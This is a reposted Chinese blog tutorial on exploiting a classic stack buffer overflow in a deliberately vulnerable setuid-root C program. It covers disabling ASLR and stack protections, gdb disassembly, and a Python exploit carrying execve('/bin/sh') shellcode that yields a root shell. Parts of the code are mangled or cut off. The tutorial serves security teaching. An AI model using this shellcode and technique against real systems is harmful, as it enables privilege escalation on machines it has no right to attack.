博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)
阅读量:6564 次
发布时间:2019-06-24

本文共 1976 字,大约阅读时间需要 6 分钟。

(1)漏洞代码

//vuln.c#include 
#include
int main(int argc, char* argv[]) { /* [1] */ char buf[256]; /* [2] */ strcpy(buf,argv[1]); /* [3] */ printf("Input:%s\n",buf); return 0;}

 编译

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"gcc -g -fno-stack-protector -z execstack -o vuln vuln.csudo chown root vulnsudo chgrp root vulnsudo chmod +s vuln

(2)反汇编并绘制出漏洞代码的堆栈布局

gdb-peda$ disass mainDump of assembler code for function main:   0x08048414 <+0>:	push   ebp   0x08048415 <+1>:	mov    ebp,esp   0x08048417 <+3>:	and    esp,0xfffffff0   0x0804841a <+6>:	sub    esp,0x110   0x08048420 <+12>:	mov    eax,DWORD PTR [ebp+0xc]   0x08048423 <+15>:	add    eax,0x4   0x08048426 <+18>:	mov    eax,DWORD PTR [eax]   0x08048428 <+20>:	mov    DWORD PTR [esp+0x4],eax   0x0804842c <+24>:	lea    eax,[esp+0x10]   0x08048430 <+28>:	mov    DWORD PTR [esp],eax   0x08048433 <+31>:	call   0x8048330 
0x08048438 <+36>: mov eax,0x8048530 0x0804843d <+41>: lea edx,[esp+0x10] 0x08048441 <+45>: mov DWORD PTR [esp+0x4],edx 0x08048445 <+49>: mov DWORD PTR [esp],eax 0x08048448 <+52>: call 0x8048320
0x0804844d <+57>: mov eax,0x0 0x08048452 <+62>: leave 0x08048453 <+63>: ret End of assembler dump.

 

 (3)当用户输入的内容大于256位时,将溢出目标缓冲区并覆盖堆栈中存储的返回地址。通过发送一系列“A”来测试它。

EBP的值已经变成了四个A

(4)根据堆栈布局,可以尝试输入256个A(buf)+8个A(对齐空间)+4A(EBP)+4个B(返回地址),看是否能覆盖括号里的内容

(5)攻击代码

#exp.py#!/usr/bin/env pythonimport structfrom subprocess import call#Stack address where shellcode is copied.ret_addr = 0xbffff4a0#Spawn a shell#execve(/bin/sh)scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"#endianess convertiondef conv(num): return struct.pack("

 将攻击代码改动一下,以准确确定shellcode的地址。

运行

查看内存,可以发现shellcode的起始地址,因此只要保证ret_addr在那100个‘\x90’里就可以了。

(6)确定攻击代码,选择ret_addr为0xbffff4a0

运行

获取到root shell权限。

转载于:https://www.cnblogs.com/momoli/p/10864703.html

你可能感兴趣的文章
共用y轴的双图形绘制
查看>>
第31讲 | 数字货币钱包服务
查看>>
P2073 送花
查看>>
iOS端项目注释规范附统一代码块
查看>>
c语言编程的限制,关于NOI系列赛编程语言使用限制的规定
查看>>
32个c语言关键字发音,C语言的32个关键字(读音、用法、注释)转来的,给刚接触C的...
查看>>
为煮酒新书《构建高可用Linux服务器》作序!
查看>>
Windows Azure中文博客 Windows Azure入门教学系列 (一): 创建第一个WebRole程序
查看>>
Linux学习之CentOS(四)----Linux各目录的介绍
查看>>
HTTP深入浅出 http请求
查看>>
为YUM设置代理的方法
查看>>
Java 编程的动态性 第1 部分: 类和类装入--转载
查看>>
【转】持久化消息队列之MEMCACHEQ
查看>>
Dom4j学习笔记
查看>>
C语言 HTTP上传文件-利用libcurl库上传文件
查看>>
[MEAN Stack] First API -- 7. Using Route Files to Structure Server Side API
查看>>
调试逆向分为动态分析技术和静态分析技术(转)
查看>>
Android webview使用详解
查看>>
业务对象和BAPI
查看>>
程序源系统与当前系统不一致:Carry out repairs in non-original systems only if urgent
查看>>